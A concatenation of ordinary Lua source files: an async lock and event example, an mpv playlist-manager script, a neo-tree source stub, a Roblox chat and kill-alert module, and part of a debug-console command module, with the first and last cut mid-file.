print("Acquiring lock...")
loop:await(lock:acquire())
-- Re-check if shared_var is still unexistent; since it could have changed
-- while the task was acquiring the Lock.
if shared_var then
print("While acquiring, the var was set.")
return lock:release()
end
print("Acquired.")
loop:sleep(3)
-- Sleeps so other vars try to acquire the lock.
shared_var = "some value"
print("Releasing...")
lock:release()
print("Released.")
print("Notifying tasks...")
event:set()
print("Notified.")
end)
local event_waiter = async(function()
print("Waiting event...")
loop:await(event:wait())
print("Received event. Shared variable value:", shared_var)
end)
loop:add_task(shared_access())
loop:add_task(shared_access())
loop:add_task(shared_access())
loop:add_task(event_waiter())
loop:add_task(event_waiter())
loop:add_task(event_waiter())
while true do
loop:run()
end
-- As you know, EventLoop is not ordered just to make it faster
-- So, in this example, if you run it with OrderedEventLoop, the output order will be different.
--[[ OUTPUT OF THE PROGRAM:
Acquiring lock...
Acquiring lock...
Acquiring lock...
Waiting event...
Waiting event...
Waiting event...
Acquired.
Releasing...
Released.
Notifying tasks...
Notified.
Received event. Shared variable value: some value
Received event. Shared variable value: some value
While acquiring, the var was set.
Received event. Shared variable value: some value
While acquiring, the var was set.
]] |
local settings = {
-- #### FUNCTIONALITY SETTINGS
--navigation keybindings force override only while playlist is visible
--if "no" then you can display the playlist by any of the navigation keys
dynamic_binds = true,
-- to bind multiple keys separate them by a space
key_moveup = "UP",
key_movedown = "DOWN",
key_selectfile = "RIGHT",
key_unselectfile = "",
key_playfile = "ENTER",
key_removefile = "LEFT",
key_closeplaylist = "ESC",
--replaces matches on filenames based on extension, put as empty string to not replace anything
--replace rules are executed in provided order
--replace rule key is the pattern and value is the replace value
--uses :gsub('pattern', 'replace'), read more http://lua-users.org/wiki/StringLibraryTutorial
--'all' will match any extension or protocol if it has one
--uses json and parses it into a lua table to be able to support .conf file
filename_replace = "",
--[=====[ START OF SAMPLE REPLACE, to use remove start and end line
--Sample replace: replaces underscore to space on all files
--for mp4 and webm; remove extension, remove brackets and surrounding whitespace, change dot between alphanumeric to space
filename_replace = [[
[
{
"ext": { "all": true},
"rules": [
{ "_" : " " }
]
},{
"ext": { "mp4": true, "mkv": true },
"rules": [
{ "^(.+)%..+$": "%1" },
{ "%s*[%[%(].-[%]%)]%s*": "" },
{ "(%w)%.(%w)": "%1 %2" }
]
},{
"protocol": { "http": true, "https": true },
"rules": [
{ "^%a+://w*%.?": "" }
]
}
]
]],
--END OF SAMPLE REPLACE ]=====]
--json array of filetypes to search from directory
loadfiles_filetypes = [[
[
"jpg", "jpeg", "png", "tif", "tiff", "gif", "webp", "svg", "bmp",
"mp3", "wav", "ogm", "flac", "m4a", "wma", "ogg", "opus",
"mkv", "avi", "mp4", "ogv", "webm", "rmvb", "flv", "wmv", "mpeg", "mpg", "m4v", "3gp"
]
]],
--loadfiles at startup if there is 0 or 1 items in playlist, if 0 uses worḱing dir for files
loadfiles_on_start = false,
--sort playlist on mpv start
sortplaylist_on_start = false,
--sort playlist when files are added to playlist
sortplaylist_on_file_add = false,
--use alphanumerical sort
alphanumsort = true,
--"linux | windows | auto"
system = "auto",
--Use ~ for home directory. Leave as empty to use mpv/playlists
playlist_savepath = "",
--show playlist or filename every time a new file is loaded
--2 shows playlist, 1 shows current file(filename strip applied) as osd text, 0 shows nothing
--instead of using this you can also call script-message playlistmanager show playlist/filename
--ex. KEY playlist-next ; script-message playlistmanager show playlist
show_playlist_on_fileload = 0,
--sync cursor when file is loaded from outside reasons(file-ending, playlist-next shortcut etc.)
--has the sideeffect of moving cursor if file happens to change when navigating
--good side is cursor always following current file when going back and forth files with playlist-next/prev
sync_cursor_on_load = true,
--playlist open key will toggle visibility instead of refresh, best used with long timeout
open_toggles = true,
--allow the playlist cursor to loop from end to start and vice versa
loop_cursor = true,
--#### VISUAL SETTINGS
--prefer to display titles for following files: "all", "url", "none". Sorting still uses filename.
prefer_titles = "url",
--call youtube-dl to resolve the titles of urls in the playlist
resolve_titles = false,
--osd timeout on inactivity, with high value on this open_toggles is good to be true
playlist_display_timeout = 5,
--amount of entries to show before slicing. Optimal value depends on font/video size etc.
showamount = 16,
--font size scales by window, if false requires larger font and padding sizes
scale_playlist_by_window=true,
--playlist ass style overrides inside curly brackets, \keyvalue is one field, extra \ for escape in lua
--example {\\fnUbuntu\\fs10\\b0\\bord1} equals: font=Ubuntu, size=10, bold=no, border=1
--read http://docs.aegisub.org/3.2/ASS_Tags/ for reference of tags
--undeclared tags will use default osd settings
--these styles will be used for the whole playlist
style_ass_tags = "{\\an7}",
--paddings from top left corner
text_padding_x = 10,
text_padding_y = 10,
--set title of window with stripped name
set_title_stripped = false,
title_prefix = "MPV-EASY Player",
title_suffix = " - mpv",
--slice long filenames, and how many chars to show
slice_longfilenames = false,
slice_longfilenames_amount = 70,
--Playlist header template
--%mediatitle or %filename = title or name of playing file
--%pos = position of playing file
--%cursor = position of navigation
--%plen = playlist length
--%N = newline
playlist_header = "[%cursor/%plen]",
--playlist_header_0 = "键盘操作方式: [上][下]:选择或选中某项后调整选中项顺序 [p]:重新排序",
--playlist_header_1 = "[k]:保存高级播放列表 [右]:选中/不选中 [左]:移除当前项目 [回车]:播放当前项目",
playlist_header_lang = "chs",
playlist_header_chs = "正在播放: %filename%N%N高级播放列表 - %cursor/%plen",
playlist_header_eng = "Playing: %filename%N%Nadvanced playlist - %cursor/%plen",
playlist_header = "正在播放: %filename%N%N高级播放列表 - %cursor/%plen",
--Playlist file templates
--%pos = position of file with leading zeros
--%name = title or name of file
--%N = newline
--you can also use the ass tags mentioned above. For example:
-- selected_file="{\\c&HFF00FF&}➔ %name" | to add a color for selected file. However, if you
-- use ass tags you need to reset them for every line (see https://github.com/jonniek/mpv-playlistmanager/issues/20)
normal_file = "○ %name",
hovered_file = "● %name",
selected_file = "➔ %name",
playing_file = "▷ %name",
playing_hovered_file = "▶ %name",
playing_selected_file = "➤ %name",
-- what to show when playlist is truncated
playlist_sliced_prefix = "...",
playlist_sliced_suffix = "..."
}
local opts = require("mp.options")
opts.read_options(settings, "playlistmanager", function(list) update_opts(list) end)
local utils = require("mp.utils")
local msg = require("mp.msg")
local assdraw = require("mp.assdraw")
--check os
if settings.system=="auto" then
local o = {}
if mp.get_property_native('options/vo-mmcss-profile', o) ~= o then
settings.system = "windows"
else
settings.system = "linux"
end
end
--高级播放列表添加多国语言支持
if(settings.playlist_header_lang =="chs") then
settings.playlist_header = settings.playlist_header_chs
else
settings.playlist_header = settings.playlist_header_eng
end
--global variables
local playlist_visible = false
local strippedname = nil
local path = nil
local directory = nil
local filename = nil
local pos = 0
local plen = 0
local cursor = 0
--table for saved media titles for later if we prefer them
local url_table = {}
-- table for urls that we have request to be resolved to titles
local requested_urls = {}
--state for if we sort on playlist size change
local sort_watching = false
local filetype_lookup = {}
function update_opts(changelog)
msg.verbose('updating options')
--parse filename json
if changelog.filename_replace then
if(settings.filename_replace~="") then
settings.filename_replace = utils.parse_json(settings.filename_replace)
else
settings.filename_replace = false
end
end
--parse loadfiles json
if changelog.loadfiles_filetypes then
settings.loadfiles_filetypes = utils.parse_json(settings.loadfiles_filetypes)
filetype_lookup = {}
--create loadfiles set
for _, ext in ipairs(settings.loadfiles_filetypes) do
filetype_lookup[ext] = true
end
end
if changelog.resolve_titles then
resolve_titles()
end
if changelog.playlist_display_timeout then
keybindstimer = mp.add_periodic_timer(settings.playlist_display_timeout, remove_keybinds)
keybindstimer:kill()
end
if playlist_visible then showplaylist() end
end
update_opts({filename_replace = true, loadfiles_filetypes = true})
function on_loaded()
filename = mp.get_property("filename")
path = mp.get_property('path')
--if not a url then join path with working directory
if not path:match("^%a%a+:%/%/") then
path = utils.join_path(mp.get_property('working-directory'), path)
directory = utils.split_path(path)
else
directory = nil
end
refresh_globals()
if settings.sync_cursor_on_load then
cursor=pos
--refresh playlist if cursor moved
if playlist_visible then draw_playlist() end
end
local media_title = mp.get_property("media-title")
if path:match('^https?://') and not url_table[path] and path ~= media_title then
url_table[path] = media_title
end
strippedname = stripfilename(mp.get_property('media-title'))
if settings.show_playlist_on_fileload == 2 then
showplaylist()
elseif settings.show_playlist_on_fileload == 1 then
mp.commandv('show-text', strippedname)
end
if settings.set_title_stripped then
mp.set_property("title", settings.title_prefix..strippedname..settings.title_suffix)
end
local didload = false
if settings.loadfiles_on_start and plen == 1 then
didload = true --save reference for sorting
msg.info("Loading files from playing files directory")
playlist()
end
--if we promised to sort files on launch do it
if promised_sort then
promised_sort = false
msg.info("Your playlist is sorted before starting playback")
if didload then sortplaylist() else sortplaylist(true) end
end
--if we promised to listen and sort on playlist size increase do it
if promised_sort_watch then
promised_sort_watch = false
sort_watching = true
msg.info("Added files will be automatically sorted")
mp.observe_property('playlist-count', "number", autosort)
end
end
function on_closed()
strippedname = nil
path = nil
directory = nil
filename = nil
if playlist_visible then showplaylist() end
end
function refresh_globals()
pos = mp.get_property_number('playlist-pos', 0)
plen = mp.get_property_number('playlist-count', 0)
end
function escapepath(dir, escapechar)
return string.gsub(dir, escapechar, '\\'..escapechar)
end
--strip a filename based on its extension or protocol according to rules in settings
function stripfilename(pathfile, media_title)
if pathfile == nil then return '' end
local ext = pathfile:match("^.+%.(.+)$")
local protocol = pathfile:match("^(%a%a+)://")
if not ext then ext = "" end
local tmp = pathfile
if settings.filename_replace and not media_title then
for k,v in ipairs(settings.filename_replace) do
if ( v['ext'] and (v['ext'][ext] or (ext and not protocol and v['ext']['all'])) )
or ( v['protocol'] and (v['protocol'][protocol] or (protocol and not ext and v['protocol']['all'])) ) then
for ruleindex, indexrules in ipairs(v['rules']) do
for rule, override in pairs(indexrules) do
tmp = tmp:gsub(rule, override)
end
end
end
end
end
if settings.slice_longfilenames and tmp:len()>settings.slice_longfilenames_amount+5 then
tmp = tmp:sub(1, settings.slice_longfilenames_amount).." ..."
end
return tmp
end
--gets a nicename of playlist entry at 0-based position i
function get_name_from_index(i, notitle)
refresh_globals()
if plen <= i then msg.error("no index in playlist", i, "length", plen); return nil end
local _, name = nil
local title = mp.get_property('playlist/'..i..'/title')
local name = mp.get_property('playlist/'..i..'/filename')
local should_use_title = settings.prefer_titles == 'all' or name:match('^https?://') and settings.prefer_titles == 'url'
--check if file has a media title stored or as property
if not title and should_use_title then
local mtitle = mp.get_property('media-title')
if i == pos and mp.get_property('filename') ~= mtitle then
if not url_table[name] then
url_table[name] = mtitle
end
title = mtitle
elseif url_table[name] then
title = url_table[name]
end
end
--if we have media title use a more conservative strip
if title and not notitle and should_use_title then return stripfilename(title, true) end
--remove paths if they exist, keeping protocols for stripping
if string.sub(name, 1, 1) == '/' or name:match("^%a:[/\\]") then
_, name = utils.split_path(name)
end
return stripfilename(name)
end
function parse_header(string)
local esc_title = stripfilename(mp.get_property("media-title"), true):gsub("%%", "%%%%")
local esc_file = stripfilename(mp.get_property("filename")):gsub("%%", "%%%%")
return string:gsub("%%N", "\\N")
:gsub("%%pos", mp.get_property_number("playlist-pos",0)+1)
:gsub("%%plen", mp.get_property("playlist-count"))
:gsub("%%cursor", cursor+1)
:gsub("%%mediatitle", esc_title)
:gsub("%%filename", esc_file)
-- undo name escape
:gsub("%%%%", "%%")
end
function parse_filename(string, name, index)
local base = tostring(plen):len()
local esc_name = stripfilename(name):gsub("%%", "%%%%")
return string:gsub("%%N", "\\N")
:gsub("%%pos", string.format("%0"..base.."d", index+1))
:gsub("%%name", esc_name)
-- undo name escape
:gsub("%%%%", "%%")
end
function parse_filename_by_index(index)
local template = settings.normal_file
local is_idle = mp.get_property_native('idle-active')
local position = is_idle and -1 or pos
if index == position then
if index == cursor then
if selection then
template = settings.playing_selected_file
else
template = settings.playing_hovered_file
end
else
template = settings.playing_file
end
elseif index == cursor then
if selection then
template = settings.selected_file
else
template = settings.hovered_file
end
end
return parse_filename(template, get_name_from_index(index), index)
end
function draw_playlist()
refresh_globals()
local ass = assdraw.ass_new()
ass:new_event()
ass:pos(settings.text_padding_x, settings.text_padding_y)
ass:append(settings.style_ass_tags)
if settings.playlist_header ~= "" then
ass:append(parse_header(settings.playlist_header).."\\N")
end
local start = cursor - math.floor(settings.showamount/2)
local showall = false
local showrest = false
if start<0 then start=0 end
if plen <= settings.showamount then
start=0
showall=true
end
if start > math.max(plen-settings.showamount-1, 0) then
start=plen-settings.showamount
showrest=true
end
if start > 0 and not showall then ass:append(settings.playlist_sliced_prefix.."\\N") end
for index=start,start+settings.showamount-1,1 do
if index == plen then break end
ass:append(parse_filename_by_index(index).."\\N")
if index == start+settings.showamount-1 and not showall and not showrest then
ass:append(settings.playlist_sliced_suffix)
end
end
local w, h = mp.get_osd_size()
if settings.scale_playlist_by_window then w,h = 0, 0 end
mp.set_osd_ass(w, h, ass.text)
end
function toggle_playlist()
if settings.open_toggles then
if playlist_visible then
remove_keybinds()
return
end
end
showplaylist()
end
function showplaylist(duration)
refresh_globals()
if plen == 0 then return end
playlist_visible = true
add_keybinds()
draw_playlist()
keybindstimer:kill()
if duration then
keybindstimer = mp.add_periodic_timer(duration, remove_keybinds)
else
keybindstimer:resume()
end
end
selection=nil
function selectfile()
refresh_globals()
if plen == 0 then return end
if not selection then
selection=cursor
else
selection=nil
end
showplaylist()
end
function unselectfile()
selection=nil
showplaylist()
end
function removefile()
refresh_globals()
if plen == 0 then return end
selection = nil
if cursor==pos then mp.command("script-message unseenplaylist mark true \"playlistmanager avoid conflict when removing file\"") end
mp.commandv("playlist-remove", cursor)
if cursor==plen-1 then cursor = cursor - 1 end
showplaylist()
end
function moveup()
refresh_globals()
if plen == 0 then return end
if cursor~=0 then
if selection then mp.commandv("playlist-move", cursor,cursor-1) end
cursor = cursor-1
elseif settings.loop_cursor then
if selection then mp.commandv("playlist-move", cursor,plen) end
cursor = plen-1
end
showplaylist()
end
function movedown()
refresh_globals()
if plen == 0 then return end
if cursor ~= plen-1 then
if selection then mp.commandv("playlist-move", cursor,cursor+2) end
cursor = cursor + 1
elseif settings.loop_cursor then
if selection then mp.commandv("playlist-move", cursor,0) end
cursor = 0
end
showplaylist()
end
function Watch_later()
if mp.get_property_bool("save-position-on-quit") then
mp.command("write-watch-later-config")
end
end
function playfile()
refresh_globals()
if plen == 0 then return end
selection = nil
local is_idle = mp.get_property_native('idle-active')
if cursor ~= pos or is_idle then
mp.set_property("playlist-pos", cursor)
else
if cursor~=plen-1 then
cursor = cursor + 1
end
Watch_later()
mp.commandv("playlist-next", "weak")
end
if settings.show_playlist_on_fileload ~= 2 then
remove_keybinds()
end
end
function get_files_windows(dir)
local args = {
'powershell', '-NoProfile', '-Command', [[& {
Trap {
Write-Error -ErrorRecord $_
Exit 1
}
$path = "]]..dir..[["
$escapedPath = [WildcardPattern]::Escape($path)
cd $escapedPath
$list = (Get-ChildItem -File | Sort-Object { [regex]::Replace($_.Name, '\d+', { $args[0].Value.PadLeft(20) }) }).Name
$string = ($list -join "/")
$u8list = [System.Text.Encoding]::UTF8.GetBytes($string)
[Console]::OpenStandardOutput().Write($u8list, 0, $u8list.Length)
}]]
}
local process = utils.subprocess({ args = args, cancellable = false })
return parse_files(process, '%/')
end
function get_files_linux(dir)
local args = { 'ls', '-1pv', dir }
local process = utils.subprocess({ args = args, cancellable = false })
return parse_files(process, '\n')
end
function parse_files(res, delimiter)
if not res.error and res.status == 0 then
local valid_files = {}
for line in res.stdout:gmatch("[^"..delimiter.."]+") do
local ext = line:match("^.+%.(.+)$")
if ext and filetype_lookup[ext:lower()] then
table.insert(valid_files, line)
end
end
return valid_files, nil
else
return nil, res.error
end
end
--Creates a playlist of all files in directory, will keep the order and position
--For exaple, Folder has 12 files, you open the 5th file and run this, the remaining 7 are added behind the 5th file and prior 4 files before it
function playlist(force_dir)
refresh_globals()
if not directory and plen > 0 then return end
local hasfile = true
if plen == 0 then
hasfile = false
dir = mp.get_property('working-directory')
else
dir = directory
end
if force_dir then dir = force_dir end
local files, error
if settings.system == "linux" then
files, error = get_files_linux(dir)
else
files, error = get_files_windows(dir)
end
local c, c2 = 0,0
if files then
local cur = false
local filename = mp.get_property("filename")
for _, file in ipairs(files) do
local appendstr = "append"
if not hasfile then
cur = true
appendstr = "append-play"
hasfile = true
end
if cur == true then
mp.commandv("loadfile", utils.join_path(dir, file), appendstr)
msg.info("Appended to playlist: " .. file)
c2 = c2 + 1
elseif file ~= filename then
mp.commandv("loadfile", utils.join_path(dir, file), appendstr)
msg.info("Prepended to playlist: " .. file)
mp.commandv("playlist-move", mp.get_property_number("playlist-count", 1)-1, c)
c = c + 1
else
cur = true
end
end
if c2 > 0 or c>0 then
mp.osd_message("Added "..c + c2.." files to playlist")
else
mp.osd_message("No additional files found")
end
cursor = mp.get_property_number('playlist-pos', 1)
else
msg.error("Could not scan for files: "..(error or ""))
end
if sort_watching then
msg.info("Ignoring directory structure and using playlist sort")
sortplaylist()
end
refresh_globals()
if playlist_visible then showplaylist() end
return c + c2
end
function parse_home(path)
if not path:find("^~") then
return path
end
local home_dir = os.getenv("HOME") or os.getenv("USERPROFILE")
if not home_dir then
local drive = os.getenv("HOMEDRIVE")
local path = os.getenv("HOMEPATH")
if drive and path then
home_dir = utils.join_path(drive, path)
else
msg.error("Couldn't find home dir.")
return nil
end
end
local result = path:gsub("^~", home_dir)
return result
end
--saves the current playlist into a m3u file
function save_playlist()
local length = mp.get_property_number('playlist-count', 0)
if length == 0 then return end
--get playlist save path
local savepath
if settings.playlist_savepath == nil or settings.playlist_savepath == "" then
savepath = mp.command_native({"expand-path", "~~home/"}).."/playlists"
else
savepath = parse_home(settings.playlist_savepath)
if savepath == nil then return end
end
--create savepath if it doesn't exist
if utils.readdir(savepath) == nil then
local windows_args = {'powershell', '-NoProfile', '-Command', 'mkdir', savepath}
local unix_args = { 'mkdir', savepath }
local args = settings.system == 'windows' and windows_args or unix_args
local res = utils.subprocess({ args = args, cancellable = false })
if res.status ~= 0 then
msg.error("Failed to create playlist save directory "..savepath..". Error: "..(res.error or "unknown"))
return
end
end
local date = os.date("*t")
local datestring = ("%02d-%02d-%02d_%02d-%02d-%02d"):format(date.year, date.month, date.day, date.hour, date.min, date.sec)
local savepath = utils.join_path(savepath, datestring.."_playlist-size_"..length..".m3u")
local file, err = io.open(savepath, "w")
if not file then
msg.error("Error in creating playlist file, check permissions. Error: "..(err or "unknown"))
else
local i=0
while i < length do
local pwd = mp.get_property("working-directory")
local filename = mp.get_property('playlist/'..i..'/filename')
local fullpath = filename
if not filename:match("^%a%a+:%/%/") then
fullpath = utils.join_path(pwd, filename)
end
local title = mp.get_property('playlist/'..i..'/title')
if title then file:write("#EXTINF:,"..title.."\n") end
file:write(fullpath, "\n")
i=i+1
end
msg.info("Playlist written to: "..savepath)
file:close()
end
end
function alphanumsort(a, b)
local function padnum(d)
local dec, n = string.match(d, "(%.?)0*(.+)")
return #dec > 0 and ("%.12f"):format(d) or ("%s%03d%s"):format(dec, #n, n)
end
return tostring(a):lower():gsub("%.?%d+",padnum)..("%3d"):format(#b)
< tostring(b):lower():gsub("%.?%d+",padnum)..("%3d"):format(#a)
end
function dosort(a,b)
if settings.alphanumsort then
return alphanumsort(a,b)
else
return a < b
end
end
function sortplaylist(startover)
local length = mp.get_property_number('playlist-count', 0)
if length < 2 then return end
--use insertion sort on playlist to make it easy to order files with playlist-move
for outer=1, length-1, 1 do
local outerfile = get_name_from_index(outer, true)
local inner = outer - 1
while inner >= 0 and dosort(outerfile, get_name_from_index(inner, true)) do
inner = inner - 1
end
inner = inner + 1
if outer ~= inner then
mp.commandv('playlist-move', outer, inner)
end
end
cursor = mp.get_property_number('playlist-pos', 0)
if startover then
mp.set_property('playlist-pos', 0)
end
if playlist_visible then showplaylist() end
end
function autosort(name, param)
if param == 0 then return end
if plen < param then
msg.info("Playlistmanager autosorting playlist")
refresh_globals()
sortplaylist()
end
end
function reverseplaylist()
local length = mp.get_property_number('playlist-count', 0)
if length < 2 then return end
for outer=1, length-1, 1 do
mp.commandv('playlist-move', outer, 0)
end
if playlist_visible then showplaylist() end
end
function shuffleplaylist()
refresh_globals()
if plen < 2 then return end
mp.command("playlist-shuffle")
math.randomseed(os.time())
mp.commandv("playlist-move", pos, math.random(0, plen-1))
mp.set_property('playlist-pos', 0)
refresh_globals()
if playlist_visible then showplaylist() end
end
function bind_keys(keys, name, func, opts)
if not keys then
mp.add_forced_key_binding(keys, name, func, opts)
return
end
local i = 1
for key in keys:gmatch("[^%s]+") do
local prefix = i == 1 and '' or i
mp.add_forced_key_binding(key, name..prefix, func, opts)
i = i + 1
end
end
function unbind_keys(keys, name)
if not keys then
mp.remove_key_binding(name)
return
end
local i = 1
for key in keys:gmatch("[^%s]+") do
local prefix = i == 1 and '' or i
mp.remove_key_binding(name..prefix)
i = i + 1
end
end
function add_keybinds()
bind_keys(settings.key_moveup, 'moveup', moveup, "repeatable")
bind_keys(settings.key_movedown, 'movedown', movedown, "repeatable")
bind_keys(settings.key_selectfile, 'selectfile', selectfile)
bind_keys(settings.key_unselectfile, 'unselectfile', unselectfile)
bind_keys(settings.key_playfile, 'playfile', playfile)
bind_keys(settings.key_removefile, 'removefile', removefile, "repeatable")
bind_keys(settings.key_closeplaylist, 'closeplaylist', remove_keybinds)
end
function remove_keybinds()
keybindstimer:kill()
keybindstimer = mp.add_periodic_timer(settings.playlist_display_timeout, remove_keybinds)
keybindstimer:kill()
mp.set_osd_ass(0, 0, "")
playlist_visible = false
if settings.dynamic_binds then
unbind_keys(settings.key_moveup, 'moveup')
unbind_keys(settings.key_movedown, 'movedown')
unbind_keys(settings.key_selectfile, 'selectfile')
unbind_keys(settings.key_unselectfile, 'unselectfile')
unbind_keys(settings.key_playfile, 'playfile')
unbind_keys(settings.key_removefile, 'removefile')
unbind_keys(settings.key_closeplaylist, 'closeplaylist')
end
end
keybindstimer = mp.add_periodic_timer(settings.playlist_display_timeout, remove_keybinds)
keybindstimer:kill()
if not settings.dynamic_binds then
add_keybinds()
end
if settings.loadfiles_on_start and mp.get_property_number('playlist-count', 0) == 0 then
playlist()
end
promised_sort_watch = false
if settings.sortplaylist_on_file_add then
promised_sort_watch = true
end
promised_sort = false
if settings.sortplaylist_on_start then
promised_sort = true
end
mp.observe_property('playlist-count', "number", function()
if playlist_visible then showplaylist() end
if settings.prefer_titles == 'none' then return end
-- resolve titles
resolve_titles()
end)
--resolves url titles by calling youtube-dl
function resolve_titles()
if not settings.resolve_titles then return end
local length = mp.get_property_number('playlist-count', 0)
if length < 2 then return end
local i=0
-- loop all items in playlist because we can't predict how it has changed
while i < length do
local filename = mp.get_property('playlist/'..i..'/filename')
local title = mp.get_property('playlist/'..i..'/title')
if i ~= pos
and filename
and filename:match('^https?://')
and not title
and not url_table[filename]
and not requested_urls[filename]
then
requested_urls[filename] = true
local args = { 'youtube-dl', '--no-playlist', '--flat-playlist', '-sJ', filename }
local req = mp.command_native_async(
{
name = "subprocess",
args = args,
playback_only = false,
capture_stdout = true
}, function (success, res)
if res.killed_by_us then
msg.verbose('Request to resolve url title ' .. filename .. ' timed out')
return
end
if res.status == 0 then
local json, err = utils.parse_json(res.stdout)
if not err then
local is_playlist = json['_type'] and json['_type'] == 'playlist'
local title = (is_playlist and '[playlist]: ' or '') .. json['title']
msg.verbose(filename .. " resolved to '" .. title .. "'")
url_table[filename] = title
refresh_globals()
if playlist_visible then showplaylist() end
return
else
msg.error("Failed parsing json, reason: "..(err or "unknown"))
end
else
msg.error("Failed to resolve url title "..filename.." Error: "..(res.error or "unknown"))
end
end)
mp.add_timeout(5, function()
mp.abort_async_command(req)
end)
end
i=i+1
end
end
--script message handler
function handlemessage(msg, value, value2)
if msg == "show" and value == "playlist" then
if value2 ~= "toggle" then
showplaylist(value2)
return
else
toggle_playlist()
return
end
end
if msg == "show" and value == "filename" and strippedname and value2 then
mp.commandv('show-text', strippedname, tonumber(value2)*1000 ) ; return
end
if msg == "show" and value == "filename" and strippedname then
mp.commandv('show-text', strippedname ) ; return
end
if msg == "sort" then sortplaylist(value) ; return end
if msg == "shuffle" then shuffleplaylist() ; return end
if msg == "reverse" then reverseplaylist() ; return end
if msg == "loadfiles" then playlist(value) ; return end
if msg == "save" then save_playlist() ; return end
end
mp.register_script_message("playlistmanager", handlemessage)
mp.add_key_binding("p", "sortplaylist", sortplaylist)
--mp.add_key_binding("CTRL+P", "shuffleplaylist", shuffleplaylist)
--mp.add_key_binding("CTRL+R", "reverseplaylist", reverseplaylist)
--mp.add_key_binding("P", "loadfiles", playlist)
mp.add_key_binding("k", "saveplaylist", save_playlist)
mp.add_key_binding("ctrl+alt+u", "showplaylist", toggle_playlist)
mp.register_event("file-loaded", on_loaded)
mp.register_event("end-file", on_closed) |
--This file should have all functions that are in the public api and either set
--or read the state of this source.
local vim = vim
local utils = require("neo-tree.utils")
local renderer = require("neo-tree.ui.renderer")
local M = {}
local default_config = nil
local state_by_tab = {}
local get_state = function()
local tabnr = vim.api.nvim_get_current_tabpage()
local state = state_by_tab[tabnr]
if not state then
state = utils.table_copy(default_config)
state.tabnr = tabnr
state_by_tab[tabnr] = state
end
return state
end
M.close = function()
local state = get_state()
renderer.close(state)
end
M.float = function()
local state = get_state()
state.force_float = true
M.navigate(state.path)
end
M.focus = function()
local state = get_state()
if renderer.window_exists(state) then
vim.api.nvim_set_current_win(state.winid)
else
M.navigate(state.path)
end
end
---Navigate to the given path.
---@param path string Path to navigate to. If empty, will navigate to the cwd.
M.navigate = function(path)
local state = get_state()
local path_changed = false
if path == nil then
path = vim.fn.getcwd()
end
if path ~= state.path then
state.path = path
path_changed = true
end
-- Do something useful here to get items
local items = {
{
id = "1",
name = "root",
children = {
{
id = "1.1",
name = "child1",
children = {
{
id = "1.1.1",
name = "child1.1",
},
{
id = "1.1.2",
name = "child1.2",
}
}
}
}
}
}
renderer.show_nodes(state, items)
end
---Redraws the tree without scanning the filesystem again. Use this after
-- making changes to the nodes that would affect how their components are
-- rendered.
M.redraw = function()
local state = get_state()
if renderer.window_exists(state) then
state.tree:render()
end
end
---Refreshes the tree by scanning the filesystem again.
M.refresh = function()
local state = get_state()
if state.path and renderer.window_exists(state) then
M.navigate(state.path)
end
end
---Configures the plugin, should be called before the plugin is used.
---@param config table Configuration table containing any keys that the user
--wants to change from the defaults. May be empty to accept default values.
M.setup = function(config)
if default_config == nil then
default_config = config
end
end
---Opens the tree and displays the current path or cwd.
---@param callback function Callback to call after the items are loaded.
M.show = function(callback)
local state = get_state()
M.navigate(state.path)
end
---Expands or collapses the current node.
M.toggle_directory = function (node)
local state = get_state()
local tree = state.tree
if not node then
node = tree:get_node()
end
if node.type ~= 'directory' then
return
end
if node.loaded == false then
-- lazy load this node and pass the children to the renderer
local children = {}
renderer.show_nodes(state, children, node:get_id())
elseif node:has_children() then
local updated = false
if node:is_expanded() then
updated = node:collapse()
else
updated = node:expand()
end
if updated then
tree:render()
else
tree:render()
end
end
end
return M
|
local module = {}
local replicatedStorage = game:GetService("ReplicatedStorage")
local modules = require(replicatedStorage.modules)
local network = modules.load("network")
local utilities = modules.load("utilities")
network:connect("signal_alertChatMessage", "OnClientEvent", function(messageTable)
game.StarterGui:SetCore("ChatMakeSystemMessage", messageTable)
end)
network:connect("signal_playerKilledByPlayer", "OnClientEvent", function(deadPlayer, killer, damageInfo, verb)
if killer and verb then
-- you did this!
if killer == game.Players.LocalPlayer then
utilities.playSound("kill", deadPlayer.Character and deadPlayer.Character.PrimaryPart)
network:fire("alert", {
text = "You " .. verb .. " " ..deadPlayer.Name.."!";
textColor3 = Color3.fromRGB(255, 93, 61);
})
end
end
end)
return module
|
-- commands for modifying the debug module
local t = {}
local function info(self, f, title, graph, ...)
local func, err = loadstring(self.joinWithSpaces(...))
if err then
return err
else
f(title, func)
end
end
local function setValue(t, key, ...)
local base = t[key]
local values = { ... }
if type(base) == "number" then
local conversion = tonumber(values[1])
if conversion then
t[key] = conversion
else
return "Invalid number"
end
elseif type(base) == "boolean" then
t[key] = values[1] == "true"
elseif type(base) == "table" then
for i, v in ipairs(values) do setValue(t[key], i, v) end
elseif type(base) == "string" then
t[key] = values[1] == nil and "" or tostring(values[1])
end
end
function t:set(name, val, ...)
if name == "control" then
if self.controls[val] ~= nil then
return setValue(self.controls, val, ...)
else
return 'No control named "' .. val .. '"'
end
elseif self.settings[name] ~= nil then
return setValue(self.settings, name, val, ...)
else
return 'No setting named "' .. name .. '"'
end
end
function t:mkcmd(...)
local args = { ... }
local name = args[1]
table.remove(args, 1)
local func, err = loadstring(self.joinWithSpaces(unpack(args)))
if err then
return err
else
local msg = 'Command "' .. name .. '" has been ' .. (self.commands[name] and "replaced." or "added.")
self.commands[name] = func
return msg
end
end
function t:rmcmd(name)
if self.commands[name] then
self.commands[name] = nil
self.help[name] = nil
return 'Command "' .. name .. '" has been removed.'
else
return 'No command named "' .. name .. '"'
end
end
function t:addinfo(title, ...)
return info(self, self.addInfo, title, false, ...)
end
function t:addgraph(title, ...)
return info(self, self.addGraph, title, true, ...)
end
function t:rminfo(title)
self.removeInfo(title)
end
t.rmgraph = t.rminfo
function t:silence()
self.settings.silenceOutput = not self.settings.silenceOutput
end
t.help = {
set = {
args = "[control] name value ...",
summary = "Set any setting or control for the debug console.",
description = [[Set any setting in the debug console by specifying its name and value.
Set any keyboard control with the syntax "set control <name> <value>".
Values will be converted to a type based on their current value's type:
- number: enter the value normally.
- string: if the string contains a space, enclose with quotes.
- boolean: enter "true" or "false".
- table: enter each value separated by a space."]],
example = "> set color 0.7 0.7 0.6 1\n> set control open q"
},
mkcmd = {
args = "name code...",
summary = "Create a command with Lua code.",
example = "> mkcmd test self.log('test')"
},
rmcmd = {
args = "name",
summary = "Removes a command."
},
addinfo = {
args = "title code...",
summary = "Creates a new info item with Lua code.",
example = "> addinfo Time return os.time()"
},
addgraph = {
args = "title code...",
summary = "Creates a new info/graph item with Lua code.",
